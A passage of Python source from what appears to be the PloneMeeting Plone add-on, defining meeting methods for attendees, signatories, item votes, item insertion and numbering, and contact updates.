# before late state, accept items having any preferred meeting\n if not self.is_late():\n # get items for which the preferred_meeting_date is lower or\n # equal to the date of this meeting (self)\n # a no preferred meeting item preferred_meeting_date is 1950/01/01\n res.append({'i': 'preferred_meeting_date',\n 'o': 'plone.app.querystring.operation.date.lessThan',\n 'v': self.date})\n else:\n # after late state, only query items for which preferred meeting is self\n # or a passed meeting, indeed an item that is late for a past meeting is\n # also late for current meeting\n res.append({'i': 'preferred_meeting_date',\n 'o': 'plone.app.querystring.operation.date.between',\n 'v': (datetime(2000, 1, 1), self.date)})\n return res\n\n security.declarePublic('selectedViewFields')\n\n def selectedViewFields(self):\n \"\"\" \"\"\"\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n # some columns are displayed in the 'Purpose' column\n if displaying_available_items(self):\n visibleCols = cfg.getAvailableItemsListVisibleColumns()\n else:\n visibleCols = cfg.getItemsListVisibleColumns()\n itemsListVisibleColumns = [col for col in visibleCols if not col.startswith('static_')]\n itemsListVisibleColumns.insert(0, u'pretty_link')\n if not displaying_available_items(self):\n itemsListVisibleColumns.insert(0, u'getItemNumber')\n itemsListVisibleColumns.insert(0, u'listType')\n itemsListVisibleColumns.append(u'select_row')\n # selectedViewFields must return a list of tuple\n return [(elt, elt) for elt in itemsListVisibleColumns]\n\n def _get_all_redefined_attendees(self, by_persons=False, only_keys=True):\n \"\"\"Returns a list of dicts.\"\"\"\n item_non_attendees = self.get_item_non_attendees(by_persons=by_persons)\n item_absents = self.get_item_absents(by_persons=by_persons)\n item_excused = self.get_item_excused(by_persons=by_persons)\n item_signatories = self.get_item_signatories(by_signatories=by_persons)\n if only_keys:\n redefined_item_attendees = item_non_attendees.keys() + \\\n item_absents.keys() + item_excused.keys() + item_signatories.keys()\n else:\n redefined_item_attendees = item_non_attendees, item_absents, \\\n item_excused, item_signatories\n return redefined_item_attendees\n\n def _get_contacts(self, contact_type=None, uids=None, the_objects=False):\n \"\"\"Return contacts. Parameters p_contact_type and p_uids are mutually exclusive.\"\"\"\n res = []\n ordered_contacts = getattr(self, 'ordered_contacts', OrderedDict())\n if contact_type:\n # if we have uids, we keep it's order\n uids = uids or ordered_contacts.keys()\n for uid in uids:\n if ordered_contacts[uid][contact_type]:\n res.append(uid)\n else:\n res = uids\n\n if res and the_objects:\n res = uuidsToObjects(res, ordered=True, unrestricted=True)\n return tuple(res)\n\n security.declarePublic('get_attendees')\n\n def get_attendees(self, the_objects=False):\n '''Returns the attendees in this meeting.'''\n return self._get_contacts('attendee', the_objects=the_objects)\n\n security.declarePublic('get_excused')\n\n def get_excused(self, the_objects=False):\n '''Returns the excused in this meeting.'''\n return self._get_contacts('excused', the_objects=the_objects)\n\n security.declarePublic('get_absents')\n\n def get_absents(self, the_objects=False):\n '''Returns the absents in this meeting.'''\n return self._get_contacts('absent', the_objects=the_objects)\n\n security.declarePublic('get_voters')\n\n def get_voters(self, uids=None, the_objects=False):\n '''Returns the voters in this meeting.'''\n voters = self._get_contacts('voter', uids=uids, the_objects=the_objects)\n return voters\n\n security.declarePublic('get_signatories')\n\n def get_signatories(self, the_objects=False, by_signature_number=False, include_position_type=False):\n '''Returns the signatories in this meeting.'''\n signers = self._get_contacts('signer', the_objects=the_objects)\n # order is important in case we have several same signature_number, the first win\n if the_objects:\n res = OrderedDict(\n [(signer, self.ordered_contacts[signer.UID()]['signature_number'])\n for signer in signers])\n else:\n res = OrderedDict(\n [(signer_uid, self.ordered_contacts[signer_uid]['signature_number'])\n for signer_uid in signers])\n\n if include_position_type:\n # make signature_number the key\n reversed_res = {v: k for k, v in res.items()}\n for signature_number, uid_or_obj in reversed_res.items():\n res[uid_or_obj] = {\n 'signature_number': signature_number,\n 'position_type': uuidToObject(\n isinstance(uid_or_obj, basestring) and\n uid_or_obj or uid_or_obj.UID()).position_type}\n\n if by_signature_number:\n # reverse res so when several same signature_number, the first win\n res = OrderedDict(reversed(res.items()))\n # keys are values, values are keys\n if include_position_type:\n res = {v['signature_number']: {'hp': k, 'position_type': v['position_type']}\n for k, v in res.items()}\n else:\n res = {v: k for k, v in res.items()}\n\n return dict(res)\n\n security.declarePublic('get_replacements')\n\n def get_replacements(self, the_objects=False):\n '''Returns the replacements in this meeting.'''\n replaced_uids = self._get_contacts('replacement', the_objects=the_objects)\n return {replaced_uid: self.ordered_contacts[replaced_uid]['replacement']\n for replaced_uid in replaced_uids}\n\n def _get_item_not_present(self, attr, by_persons=False):\n '''Return item not present (item_absents, item_excused, ...)\n by default the attr dict has the item UID as key and list of not_present\n as values but if 'p_by_persons' is True, the informations are returned with\n not_present held position as key and list of items as value.'''\n if by_persons:\n # values are now keys, concatenate a list of lists and remove duplicates\n keys = tuple(set(list(itertools.chain.from_iterable(attr.values()))))\n data = {}\n for key in keys:\n data[key] = [k for k, v in attr.items() if key in v]\n else:\n data = copy.deepcopy(attr.data)\n return data\n\n security.declarePublic('get_item_absents')\n\n def get_item_absents(self, by_persons=False):\n ''' '''\n return self._get_item_not_present(self.item_absents, by_persons=by_persons)\n\n security.declarePublic('get_item_excused')\n\n def get_item_excused(self, by_persons=False):\n ''' '''\n return self._get_item_not_present(self.item_excused, by_persons=by_persons)\n\n security.declarePublic('get_item_non_attendees')\n\n def get_item_non_attendees(self, by_persons=False):\n ''' '''\n return self._get_item_not_present(self.item_non_attendees, by_persons=by_persons)\n\n security.declarePublic('get_item_signatories')\n\n def get_item_signatories(self,\n by_signatories=False,\n include_position_type=False,\n by_signature_number=False):\n '''Return itemSignatories, by default the itemSignatories dict has the\n item UID as key and list of signatories as values, this is done to\n make data more easy to use.\n If 'p_by_signatories' is True, the informations are returned with\n signatory as key and list of items as value.\n If p_by_signature_number, we return a dict with signature number as\n key and list of item signatories as values.\n The parameters are mutually exclusive.'''\n signatories = OrderedDict()\n if by_signatories:\n for item_uid, signatories_infos in self.item_signatories.items():\n for signature_number, signatory_infos in signatories_infos.items():\n # do not keep 'position_type' from the stored itemSignatories\n signatory_uid = signatory_infos['hp_uid']\n if signatory_uid not in signatories:\n signatories[signatory_uid] = []\n signatories[signatory_uid].append(item_uid)\n elif by_signature_number:\n for item_uid, signatories_infos in self.item_signatories.items():\n for signature_number, signatory_infos in signatories_infos.items():\n if signature_number not in signatories:\n signatories[signature_number] = []\n signatory = uuidToObject(signatory_infos['hp_uid'], unrestricted=True)\n signatories[signature_number].append(signatory)\n else:\n for item_uid, signatory_infos in self.item_signatories.data.items():\n if include_position_type:\n signatories[item_uid] = signatory_infos.copy()\n else:\n signatories[item_uid] = {k: v['hp_uid'] for k, v in signatory_infos.items()}\n return signatories\n\n def _get_item_redefined_positions(self):\n \"\"\" \"\"\"\n return deepcopy(self.item_attendees_positions)\n\n def is_attendee_position_redefined(self, hp_uid, item_uid=None):\n \"\"\" \"\"\"\n redefined_positions = self._get_item_redefined_positions()\n found = False\n if item_uid:\n found = item_uid in redefined_positions and \\\n hp_uid in redefined_positions[item_uid]\n else:\n for item_uid, infos in redefined_positions.items():\n if hp_uid in infos:\n found = True\n break\n return found\n\n def get_signature_infos_for(self,\n item_uid,\n signatory_uid,\n render_position_type=False,\n prefix_position_type=False):\n \"\"\"Return the signature position_type to use as label and signature_number\n for given p_item_uid and p_signatory_uid.\"\"\"\n # check if signatory_uid is redefined on the item\n data = self.get_item_signatories(by_signatories=False, include_position_type=True)\n data = {k: v['position_type'] for k, v in data.get(item_uid, {}).items()\n if v['hp_uid'] == signatory_uid}\n hp = uuidToObject(signatory_uid, unrestricted=True)\n if data:\n signature_number, position_type = data.items()[0]\n else:\n # if not, then get it from meeting signatories\n signature_number = self.get_signatories()[signatory_uid]\n # position type is the one of the signatory (signatory_uid)\n position_type = hp.position_type\n res = {}\n res['signature_number'] = signature_number\n if render_position_type:\n if prefix_position_type:\n res['position_type'] = hp.get_prefix_for_gender_and_number(\n include_value=True,\n forced_position_type_value=position_type)\n else:\n res['position_type'] = hp.get_label(\n forced_position_type_value=position_type)\n else:\n res['position_type'] = position_type\n return res\n\n def get_attendee_position_for(self,\n item_uid,\n hp_uid,\n render_position_type=False,\n prefix_position_type=False):\n \"\"\"Return the attendee position_type to use as label\n for given p_item_uid and p_signatory_uid.\"\"\"\n # check if hp_uid is redefined on the item\n data = {}\n redefined_positions = self._get_item_redefined_positions()\n if item_uid in redefined_positions and \\\n hp_uid in redefined_positions[item_uid]:\n data = redefined_positions[item_uid][hp_uid]\n hp = uuidToObject(hp_uid, unrestricted=True)\n position_type = data.get('position_type', hp.position_type)\n if render_position_type:\n if prefix_position_type:\n position_type = hp.get_prefix_for_gender_and_number(\n include_value=True,\n forced_position_type_value=position_type)\n else:\n position_type = hp.get_label(\n forced_position_type_value=position_type)\n return position_type\n\n def get_attendee_short_title(self, hp, cfg, item=None, **kwargs):\n '''Helper that return short title for given p_hp,\n taking into account that p_hp position may be redefined for self.'''\n position_type = None\n if item is not None:\n position_type = self.get_attendee_position_for(\n item.UID(), hp.UID())\n include_voting_group = cfg.getDisplayVotingGroup()\n return hp.get_short_title(\n forced_position_type_value=position_type,\n include_voting_group=include_voting_group,\n **kwargs)\n\n def _get_item_attendees_order(self, item_uid=None, from_meeting_if_empty=True):\n \"\"\" \"\"\"\n if not base_hasattr(self, 'item_attendees_order'):\n return []\n\n all_uids = []\n if item_uid:\n all_uids = self.item_attendees_order.get(item_uid)\n if not all_uids and from_meeting_if_empty:\n all_uids = self.get_all_attendees()\n else:\n # return the entire value\n return deepcopy(self.item_attendees_order)\n return all_uids\n\n def _set_item_attendees_order(self, item_uid, values):\n \"\"\" \"\"\"\n self.item_attendees_order[item_uid] = values\n\n security.declarePublic('get_item_votes')\n\n def get_item_votes(self):\n ''' '''\n votes = deepcopy(self.item_votes.data)\n return votes\n\n security.declarePrivate('set_item_public_vote')\n\n def set_item_public_vote(self, item, data, vote_number=0):\n \"\"\" \"\"\"\n data = deepcopy(data)\n item_uid = item.UID()\n # set new item_votes value on meeting\n # first votes\n if item_uid not in self.item_votes:\n self.item_votes[item_uid] = PersistentList()\n # check if we are not adding a new vote on an item containing no votes at all\n if vote_number == 1:\n # add an empty vote 0\n data_item_vote_0 = item.get_item_votes(\n vote_number=0,\n include_extra_infos=False,\n include_unexisting=True)\n # make sure we use persistent for 'voters'\n data_item_vote_0['voters'] = PersistentMapping(data_item_vote_0['voters'])\n self.item_votes[item_uid].append(PersistentMapping(data_item_vote_0))\n new_voters = data.get('voters')\n # new vote_number\n if vote_number + 1 > len(self.item_votes[item_uid]):\n # complete data before storing, if some voters are missing it is\n # because of NOT_VOTABLE_LINKED_TO_VALUE, we add it\n item_voter_uids = item.get_item_voters()\n for item_voter_uid in item_voter_uids:\n if item_voter_uid not in data['voters']:\n data['voters'][item_voter_uid] = NOT_VOTABLE_LINKED_TO_VALUE\n self.item_votes[item_uid].append(PersistentMapping(data))\n elif 'voters' not in self.item_votes[item_uid][vote_number]:\n # changing poll_type for vote_number, in this case 'voters' key does not exist\n self.item_votes[item_uid][vote_number] = PersistentMapping(data)\n else:\n # use update in case we only update a subset of votes\n # when some vote NOT_VOTABLE_LINKED_TO_VALUE or so\n # we have nested dicts, data is a dict, containing 'voters' dict\n self.item_votes[item_uid][vote_number]['voters'].update(data['voters'])\n data.pop('voters')\n self.item_votes[item_uid][vote_number].update(data)\n # manage linked_to_previous\n # if current vote is linked to other votes, we will set NOT_VOTABLE_LINKED_TO_VALUE\n # as value of vote of voters of other linked votes\n clean_voters_linked_to(item, self, vote_number, new_voters)\n\n security.declarePrivate('set_item_secret_vote')\n\n def set_item_secret_vote(self, item, data, vote_number):\n \"\"\" \"\"\"\n data = deepcopy(data)\n item_uid = item.UID()\n # set new itemVotes value on meeting\n # first votes\n if item_uid not in self.item_votes:\n self.item_votes[item_uid] = PersistentList()\n # check if we are not adding a new vote on an item containing no votes at all\n if vote_number == 1:\n # add an empty vote 0\n data_item_vote_0 = item.get_item_votes(\n vote_number=0,\n include_extra_infos=False,\n include_unexisting=True)\n self.item_votes[item_uid].append(PersistentMapping(data_item_vote_0))\n # new vote_number\n if vote_number + 1 > len(self.item_votes[item_uid]):\n self.item_votes[item_uid].append(PersistentMapping(data))\n else:\n # when changing poll_type from public to secret\n # make sure key \"voters\" is removed\n self.item_votes[item_uid][vote_number].pop('voters', None)\n self.item_votes[item_uid][vote_number].update(data)\n\n security.declarePublic('display_user_replacement')\n\n def display_user_replacement(self,\n held_position_uid,\n include_held_position_label=True,\n include_sub_organizations=True):\n '''Display the user remplacement from p_held_position_uid.'''\n held_position = uuidToObject(held_position_uid, unrestricted=True)\n if include_held_position_label:\n return held_position.get_short_title(\n include_sub_organizations=include_sub_organizations)\n else:\n person = held_position.get_person()\n return person.get_title()\n\n def get_items(self,\n uids=[],\n list_types=[],\n ordered=False,\n the_objects=True,\n additional_catalog_query={},\n unrestricted=False,\n force_linked_items_query=True):\n '''Return items linked to this meeting.\n Items can be filtered depending on :\n - list of given p_uids;\n - given p_list_types;\n - returned ordered (by getItemNumber) if p_ordered is True;\n - if p_the_objects is True, MeetingItem objects are returned, else, brains are returned;\n - if p_unrestricted is True it will return every items, not checking permission;\n - if p_force_linked_items_query is True, it will call _get_query with\n same parameter and force use of query showing linked items, not displaying\n available items.\n '''\n # execute the query using the portal_catalog\n catalog = api.portal.get_tool('portal_catalog')\n collection_behavior = ICollection(self)\n catalog_query = collection_behavior._get_query(\n force_linked_items_query=force_linked_items_query)\n if list_types:\n catalog_query.append({'i': 'listType',\n 'o': 'plone.app.querystring.operation.selection.is',\n 'v': list_types},)\n if uids:\n catalog_query.append({'i': 'UID',\n 'o': 'plone.app.querystring.operation.selection.is',\n 'v': uids},)\n if ordered:\n collection_behavior = ICollection(self)\n query = queryparser.parseFormquery(\n self,\n catalog_query,\n sort_on=collection_behavior._get_sort_on(\n force_linked_items_query=force_linked_items_query))\n else:\n query = queryparser.parseFormquery(self, catalog_query)\n\n # append additional_catalog_query\n query.update(additional_catalog_query)\n if unrestricted:\n res = catalog.unrestrictedSearchResults(**query)\n else:\n res = catalog(**query)\n\n if the_objects:\n res = [brain._unrestrictedGetObject() for brain in res]\n return res\n\n def get_raw_items(self):\n \"\"\"Simply get linked items.\"\"\"\n return self.get_items(the_objects=False, unrestricted=True)\n\n security.declarePublic('get_item_by_number')\n\n def get_item_by_number(self, number):\n '''Gets the item thas has number p_number.'''\n catalog = api.portal.get_tool('portal_catalog')\n brains = catalog.unrestrictedSearchResults(\n meeting_uid=self.UID(), getItemNumber=number)\n if not brains:\n return None\n return brains[0]._unrestrictedGetObject()\n\n def get_late_state(self):\n '''See doc in interfaces.py.'''\n return 'frozen'\n\n def _check_insert_order_cache(self, cfg):\n '''See doc in interfaces.py.'''\n meeting = self.get_self()\n invalidate = False\n invalidate = not base_hasattr(meeting, '_insert_order_cache') or \\\n meeting._insert_order_cache['categories_modified'] != cfg.categories.modified() or \\\n meeting._insert_order_cache['plonegroup_orgs'] != get_registry_organizations()\n\n # check cfg attrs\n if not invalidate:\n for key in meeting._insert_order_cache.keys():\n if key.startswith('cfg_'):\n if meeting._insert_order_cache[key] != getattr(cfg, key[4:]):\n invalidate = True\n break\n if invalidate:\n meeting.adapted()._init_insert_order_cache(cfg)\n return invalidate\n\n def _insert_order_cache_cfg_attrs(self, cfg):\n '''See doc in interfaces.py.'''\n return ['insertingMethodsOnAddItem',\n 'listTypes',\n 'selectablePrivacies',\n 'usedPollTypes',\n 'orderedAssociatedOrganizations',\n 'orderedGroupsInCharge',\n 'committees']\n\n def _init_insert_order_cache(self, cfg):\n '''See doc in interfaces.py.'''\n meeting = self.get_self()\n meeting._insert_order_cache = PersistentMapping()\n for cfg_attr in meeting.adapted()._insert_order_cache_cfg_attrs(cfg):\n key = 'cfg_{0}'.format(cfg_attr)\n value = deepcopy(getattr(cfg, cfg_attr))\n meeting._insert_order_cache[key] = value\n meeting._insert_order_cache['categories_modified'] = cfg.categories.modified()\n meeting._insert_order_cache['plonegroup_orgs'] = get_registry_organizations()\n meeting._insert_order_cache['items'] = PersistentMapping()\n\n def _invalidate_insert_order_cache_for(self, item):\n '''Invalidate cache for given p_item.'''\n item_uid = item.UID()\n if base_hasattr(self, '_insert_order_cache') and \\\n self._insert_order_cache['items'].get(item_uid, None) is not None:\n del self._insert_order_cache['items'][item_uid]\n\n def get_item_insert_order(self, item, cfg, check_cache=True):\n '''Get p_item insertOrder taking cache into account.'''\n # check if cache still valid, will be invalidated if not\n if check_cache:\n self.adapted()._check_insert_order_cache(cfg)\n insert_order = self._insert_order_cache['items'].get(item.UID(), None)\n if insert_order is None or not isinstance(insert_order, list):\n insert_order = item.adapted()._getInsertOrder(cfg)\n self._insert_order_cache['items'][item.UID()] = insert_order\n return insert_order\n\n security.declareProtected(ModifyPortalContent, 'insert_item')\n\n def insert_item(self, item, force_normal=False):\n '''Inserts p_item into my list of \"normal\" items or my list of \"late\"\n items. If p_force_normal is True, and the item should be inserted as\n a late item, it is nevertheless inserted as a normal item.'''\n # First, determine if we must insert the item into the \"normal\"\n # list of items or to the list of \"late\" items. Note that I get\n # the list of items *in order* in the case I need to insert the item\n # at another place than at the end.\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n is_late = not force_normal and item.wfConditions().isLateFor(self)\n if is_late:\n item.setListType(item.adapted().getListTypeLateValue(self))\n to_discuss_value = cfg.getToDiscussLateDefault()\n else:\n item.setListType(item.adapted().getListTypeNormalValue(self))\n to_discuss_value = cfg.getToDiscussDefault()\n items = self.get_items(ordered=True, unrestricted=True)\n # Set the correct value for the 'toDiscuss' field if required\n if cfg.getToDiscussSetOnItemInsert():\n item.setToDiscuss(to_discuss_value)\n # At what place must we insert the item in the list ?\n insert_methods = cfg.getInsertingMethodsOnAddItem()\n # wipe out insert methods as stored value is a DataGridField\n # and we only need a tuple of insert methods\n insert_at_the_end = False\n if insert_methods[0]['insertingMethod'] != 'at_the_end':\n # We must insert it according to category or proposing group order\n # (at the end of the items belonging to the same category or\n # proposing group). We will insert the p_item just before the first\n # item whose category/group immediately follows p_item's category/\n # group (or at the end if inexistent). Note that the MeetingManager,\n # in subsequent manipulations, may completely change items order.\n self.adapted()._check_insert_order_cache(cfg)\n item_order = self.get_item_insert_order(item, cfg, check_cache=False)\n higher_item_found = False\n insert_index = 0 # That's where I will insert the item\n insert_index_is_subnumber = False\n for an_item in items:\n if higher_item_found:\n item_number = an_item.getItemNumber()\n # Ok I already know where to insert the item. I just\n # continue to visit the next items in order to increment their number.\n # we inserted an integer numer, we need to add '1' to every next items\n if not insert_index_is_subnumber:\n an_item.setItemNumber(item_number + 100)\n elif (insert_index_is_subnumber and\n _use_same_integer(item_number, insert_index) and\n item_number > insert_index):\n # we inserted a subnumber, we need to update subnumber of same integer\n an_item.setItemNumber(item_number + 1)\n elif self.get_item_insert_order(an_item, cfg, check_cache=False) > item_order:\n higher_item_found = True\n item_number = an_item.getItemNumber()\n insert_index = item_number\n # we will only update next items of same subnumber?\n insert_index_is_subnumber = not _is_integer(item_number)\n an_item.setItemNumber(item_number + _compute_value_to_add(item_number))\n\n if higher_item_found:\n item.setItemNumber(insert_index)\n else:\n insert_at_the_end = True\n\n if insert_methods[0]['insertingMethod'] == 'at_the_end' or insert_at_the_end:\n # insert it as next integer number\n if items:\n item.setItemNumber(_to_integer(items[-1].getItemNumber()) + 100)\n else:\n # first added item\n item.setItemNumber(100)\n\n item._update_meeting_link(self)\n # store number of items\n self._number_of_items = len(items) + 1\n self._finalize_item_insert(items_to_update=[item])\n\n def _finalize_item_insert(self, items_to_update=[]):\n \"\"\" \"\"\"\n # invalidate RAMCache for MeetingItem.getMeeting\n cleanRamCacheFor('Products.PloneMeeting.MeetingItem.getMeeting')\n # reindex getItemNumber when item is in the meeting or getItemNumber returns None\n # and reindex linkedMeeting indexes that is used by update_item_references using getItems\n lowest_item_number = 0\n for item in items_to_update:\n item_number = item.getRawItemNumber()\n if not lowest_item_number or item_number < lowest_item_number:\n lowest_item_number = item_number\n item.reindexObject(idxs=['getItemNumber',\n 'listType',\n 'meeting_uid',\n 'meeting_date'])\n # meeting is considered modified, do this before update_item_references\n self.notifyModified()\n\n # update itemReference after 'getItemNumber' has been reindexed of item and\n # items with a higher itemNumber\n self.update_item_references(start_number=lowest_item_number)\n\n security.declareProtected(ModifyPortalContent, 'remove_item')\n\n def remove_item(self, item):\n '''Removes p_item from me.'''\n # Remember the item number now; once the item will not be in the meeting\n # anymore, it will loose its number.\n item_number = item.getItemNumber()\n items = self.get_items(unrestricted=True)\n try:\n item._update_meeting_link(None)\n items.remove(item)\n # set listType back to 'normal' if it was late\n # if it is another value (custom), we do not change it\n if item.getListType() == 'late':\n item.setListType('normal')\n except ValueError:\n # in case this is called by onItemRemoved, the item\n # does not exist anymore and is no more in the items list\n # so we pass\n pass\n\n # remove item UID from meeting attendees attributes\n item_uid = item.UID()\n for attendee_attr in MEETING_ATTENDEES_ATTRS:\n if item_uid in getattr(self, attendee_attr):\n del getattr(self, attendee_attr)[item_uid]\n\n # remove item UID from _insert_order_cache\n self._invalidate_insert_order_cache_for(item)\n\n # make sure item assembly/signatures related fields are emptied\n for field in item.Schema().filterFields(isMetadata=False):\n if field.getName().startswith('itemAssembly') or field.getName() == 'itemSignatures':\n field.set(item, '')\n\n # Update item numbers\n # in case itemNumber was a subnumber (or a master having subnumber),\n # we will just update subnumbers of the same integer\n item_number_is_subnumber = not _is_integer(item_number) or \\\n bool(self.get_item_by_number(item_number + 1))\n for an_item in items:\n an_item_number = an_item.getItemNumber()\n if an_item_number > item_number:\n if not item_number_is_subnumber:\n an_item.setItemNumber(an_item.getItemNumber() - 100)\n elif item_number_is_subnumber and _use_same_integer(item_number, an_item_number):\n an_item.setItemNumber(an_item.getItemNumber() -\n _compute_value_to_add(an_item_number))\n # invalidate RAMCache for MeetingItem.getMeeting\n cleanRamCacheFor('Products.PloneMeeting.MeetingItem.getMeeting')\n\n # reindex relevant indexes now that item is removed\n item.reindexObject(idxs=['getItemNumber',\n 'listType',\n 'meeting_uid',\n 'meeting_date'])\n\n # store number of items\n self._number_of_items = len(items)\n # meeting is considered modified, do this before update_item_references\n self.notifyModified()\n\n # update itemReference of item that is no more linked to self and so that will not\n # be updated by Meeting.update_item_references and then update items that used\n # a higher item number\n item.update_item_reference()\n self.update_item_references(start_number=item_number)\n\n def _may_update_item_references(self):\n '''See docstring in interfaces.py.'''\n may_update = False\n meeting = self.getSelf()\n may_update = meeting.is_late()\n if not may_update:\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(meeting)\n may_update = cfg.getComputeItemReferenceForItemsOutOfMeeting()\n return may_update\n\n def update_item_references(self, start_number=0, check_needed=False, clear=False):\n \"\"\"Update reference of every contained items, if p_start_number is given,\n we update items starting from p_start_number itemNumber.\n By default, if p_start_number=0, every linked items will be updated.\n If p_check_needed is True, we check if value 'need_Meeting_update_item_references'\n in REQUEST is True.\"\"\"\n # call to update_item_references may be deferred for optimization\n if self.REQUEST.get('defer_Meeting_update_item_references', False):\n return\n if check_needed and not self.REQUEST.get('need_Meeting_update_item_references', False):\n return\n\n # force disable 'need_Meeting_update_item_references' from REQUEST\n self.REQUEST.set('need_Meeting_update_item_references', False)\n\n if clear or self.adapted()._may_update_item_references():\n # we query items from start_number to last item of the meeting\n # moreover we get_items unrestricted to be sure we have every elements\n brains = self.get_items(\n ordered=True,\n the_objects=False,\n unrestricted=True,\n additional_catalog_query={\n 'getItemNumber': {'query': start_number,\n 'range': 'min'}, })\n for brain in brains:\n item = brain._unrestrictedGetObject()\n item.update_item_reference(clear=clear)\n\n security.declarePrivate('update_title')\n\n def update_title(self):\n '''The meeting title is generated by this method, based on the meeting date.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n new_title = tool.format_date(self.date, with_hour=True)\n if self.category is not None:\n category = self.get_category(True)\n if category.category_id:\n new_title = u\"{0} - {1}\".format(\n self.get_category(True).category_id, new_title)\n if self.title != new_title:\n self.setTitle(new_title)\n return True\n\n security.declarePrivate('compute_dates')\n\n def compute_dates(self):\n '''Computes, for this meeting, the dates which are derived from the\n meeting date when relevant.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n used_attrs = cfg.getUsedMeetingAttributes()\n # Initialize the effective start date with the meeting date\n if 'start_date' in used_attrs and not self.start_date:\n self.start_date = self.date\n # Set, by default, mid date to start date + 1 hour.\n if 'mid_date' in used_attrs and not self.mid_date:\n self.mid_date = self.date + timedelta(hours=1)\n # Set, by default, mid_start_date to start date + 1 hour.\n if 'mid_start_date' in used_attrs and not self.mid_start_date:\n self.mid_start_date = self.date + timedelta(hours=1)\n # Set, by default, end date to start date + 2 hours.\n if 'end_date' in used_attrs and not self.end_date:\n self.end_date = self.date + timedelta(hours=2)\n # Compute the deadlines\n if 'validation_deadline' in used_attrs and not getattr(self, 'validation_deadline', None):\n delta = cfg.getValidationDeadlineDefault()\n if not delta.strip() in ('', '0',):\n self.validation_deadline = getDateFromDelta(self.date, '-' + delta)\n if 'freeze_deadline' in used_attrs and not getattr(self, 'freeze_deadline', None):\n delta = cfg.getFreezeDeadlineDefault()\n if not delta.strip() in ('', '0',):\n self.freeze_deadline = getDateFromDelta(self.date, '-' + delta)\n\n def update_first_item_number(self,\n update_item_references=True,\n get_items_additional_catalog_query={},\n force=False):\n \"\"\" \"\"\"\n # only update if still the initial value\n if self.attribute_is_used('first_item_number') and (self.first_item_number == -1 or force):\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n # as this may be applied on a closed meeting, we can not protect the method\n # with a permission, so we check if user isManager\n if not tool.isManager(cfg):\n raise Unauthorized\n updated = False\n if \"first_item_number\" in cfg.getYearlyInitMeetingNumbers():\n # I must reinit the first_item_number to 1 if it is the first\n # meeting of this year.\n prev = self.get_previous_meeting(interval=365)\n if not prev or \\\n (prev.date.year != self.date.year):\n self.first_item_number = 1\n updated = True\n\n if updated is False:\n unrestricted_methods = getMultiAdapter(\n (self, self.REQUEST), name='pm_unrestricted_methods')\n self.first_item_number = \\\n unrestricted_methods.findFirstItemNumber(\n get_items_additional_catalog_query=get_items_additional_catalog_query)\n if update_item_references:\n self.update_item_references()\n api.portal.show_message(_(\"first_item_number_init\",\n mapping={\"first_item_number\": self.first_item_number}),\n request=self.REQUEST)\n\n security.declarePublic('get_user_replacements')\n\n def get_user_replacements(self):\n '''Gets the dict storing user replacements.'''\n res = {}\n ordered_contacts = getattr(self, 'ordered_contacts', OrderedDict())\n for uid, infos in ordered_contacts.items():\n if infos['replacement']:\n res[uid] = infos['replacement']\n return res\n\n security.declareProtected(ModifyPortalContent, '_update_attendee_type')\n\n def _update_attendee_type(self, attendee_uid, attendee_type, force_clear=False):\n \"\"\" \"\"\"\n if force_clear or attendee_uid not in self.ordered_contacts:\n self.ordered_contacts[attendee_uid] = \\\n {'attendee': False,\n 'excused': False,\n 'absent': False,\n 'signer': False,\n 'signature_number': None,\n 'replacement': None,\n 'voter': False}\n self.ordered_contacts[attendee_uid][attendee_type] = True\n self._p_changed = True\n\n def _update_signature_number(self, signatory_uid, signature_number):\n \"\"\" \"\"\"\n if signature_number is not None:\n self.ordered_contacts[signatory_uid]['signer'] = True\n self.ordered_contacts[signatory_uid]['signature_number'] = signature_number\n else:\n self.ordered_contacts[signatory_uid]['signer'] = False\n self.ordered_contacts[signatory_uid]['signature_number'] = None\n self._p_changed = True\n\n def _do_update_contacts(self,\n attendees=OrderedDict(),\n signatories={},\n replacements={},\n voters=[]):\n ''' '''\n # attendees must be an OrderedDict to keep order\n if not isinstance(attendees, OrderedDict):\n raise ValueError(\n 'Parameter attendees passed to Meeting._do_update_contacts '\n 'must be an OrderedDict !!!')\n # save the ordered contacts so we rely on this, especially when\n # users are disabled in the configuration\n self.ordered_contacts.clear()\n\n for attendee_uid, attendee_type in attendees.items():\n self._update_attendee_type(attendee_uid, attendee_type)\n\n for signatory_uid, signature_number in signatories.items():\n self._update_signature_number(signatory_uid, signature_number)\n\n for replaced_uid, replacer_uid in replacements.items():\n self.ordered_contacts[replaced_uid]['replacement'] = replacer_uid\n\n for voter_uid in voters:\n self.ordered_contacts[voter_uid]['voter'] = True\n\n self._p_changed = True\n\n security.declarePrivate('update_contacts')\n\n def update_contacts(self):\n '''After a meeting has been created or edited, we update here the info\n related to contacts implied in the meeting: attendees, excused,\n absents, signatories, replacements, ...'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n\n if not cfg.isUsingContacts():\n return\n\n # attendees, excused, absents\n meeting_attendees = self.REQUEST.get('meeting_attendees', [])\n # remove leading muser_ and return a list of tuples, position_uid, attendee_type\n attendees = OrderedDict()\n for key in meeting_attendees:\n # remove leading muser_\n prefix, position_uid, attendee_type = key.split('_')\n attendees[position_uid] = attendee_type\n\n # signatories, remove ''\n meeting_signatories = [\n signatory for signatory in self.REQUEST.get('meeting_signatories', []) if signatory]\n signatories = {}\n for key in meeting_signatories:\n signatory, signature_number = key.split('__signaturenumber__')\n signatories[signatory] = signature_number\n\n # replacements, remove ''\n meeting_replacements = [\n replacer for replacer in self.REQUEST.get('meeting_replacements', []) if replacer]\n replacements = {}\n for key in meeting_replacements:\n replaced, replacer = key.split('__replacedby__')\n replacements[replaced] = replacer\n\n # voters\n meeting_voters = self.REQUEST.get('meeting_voters', [])\n # remove leading muser_ and return a list of tuples, position_uid, attendee_type\n voters = []\n for key in meeting_voters:\n # remove leading muser_ and ending _voter\n prefix, position_uid, suffix = key.split('_')\n voters.append(position_uid)\n\n self._do_update_contacts(attendees, signatories, replacements, voters)\n\n def _update_after_edit(self, idxs=['*']):\n \"\"\"Convenience method that make sure 